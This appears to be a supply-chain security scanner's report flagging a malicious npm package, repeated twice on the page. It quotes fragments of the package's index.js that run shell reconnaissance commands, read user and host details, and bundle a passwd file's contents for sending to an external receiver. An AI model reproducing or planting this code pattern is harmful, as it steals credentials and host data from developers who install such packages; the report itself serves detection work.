@digi-kernel/digi-kernel-constrains@33.1337.0: Malicious npm | LPM Firewall

Loading npm security reports…

@digi-kernel/digi-kernel-constrains@33.1337.0: Malicious npm | LPM Firewall

Source & flagged code

6 flagged · loading source

index.jsView file

1const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd(); L10: ... L19: L20: exec('whoami && pwd && ls -la', (error, stdout, stderr) => { L21: const systemInfo = stdout || stderr || 'no output'; ... L29: passwd: fileContent, L30: hostname: os.hostname()

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd(); L10: ... L19: L20: exec('whoami && pwd && ls -la', (error, stdout, stderr) => { L21: const systemInfo = stdout || stderr || 'no output'; ... L29: passwd: fileContent, L30: hostname: os.hostname()

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2: const https = require('https');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd();

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd(); L10: ... L19: L20: exec('whoami && pwd && ls -la', (error, stdout, stderr) => { L21: const systemInfo = stdout || stderr || 'no output'; ... L29: passwd: fileContent, L30: hostname: os.hostname()

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd(); L10: ... L19: L20: exec('whoami && pwd && ls -la', (error, stdout, stderr) => { L21: const systemInfo = stdout || stderr || 'no output'; ... L29: passwd: fileContent, L30: hostname: os.hostname()

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

Source & flagged code

6 flagged

index.jsView file

1const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd(); L10: ... L19: L20: exec('whoami && pwd && ls -la', (error, stdout, stderr) => { L21: const systemInfo = stdout || stderr || 'no output'; ... L29: passwd: fileContent, L30: hostname: os.hostname()

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd(); L10: ... L19: L20: exec('whoami && pwd && ls -la', (error, stdout, stderr) => { L21: const systemInfo = stdout || stderr || 'no output'; ... L29: passwd: fileContent, L30: hostname: os.hostname()

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2: const https = require('https');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd();

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd(); L10: ... L19: L20: exec('whoami && pwd && ls -la', (error, stdout, stderr) => { L21: const systemInfo = stdout || stderr || 'no output'; ... L29: passwd: fileContent, L30: hostname: os.hostname()

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2: const https = require('https'); L3: const os = require('os'); ... L7: try { L8: const whoami = process.env.USER || process.env.USERNAME || 'unknown'; L9: const cwd = process.cwd(); L10: ... L19: L20: exec('whoami && pwd && ls -la', (error, stdout, stderr) => { L21: const systemInfo = stdout || stderr || 'no output'; ... L29: passwd: fileContent, L30: hostname: os.hostname()

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1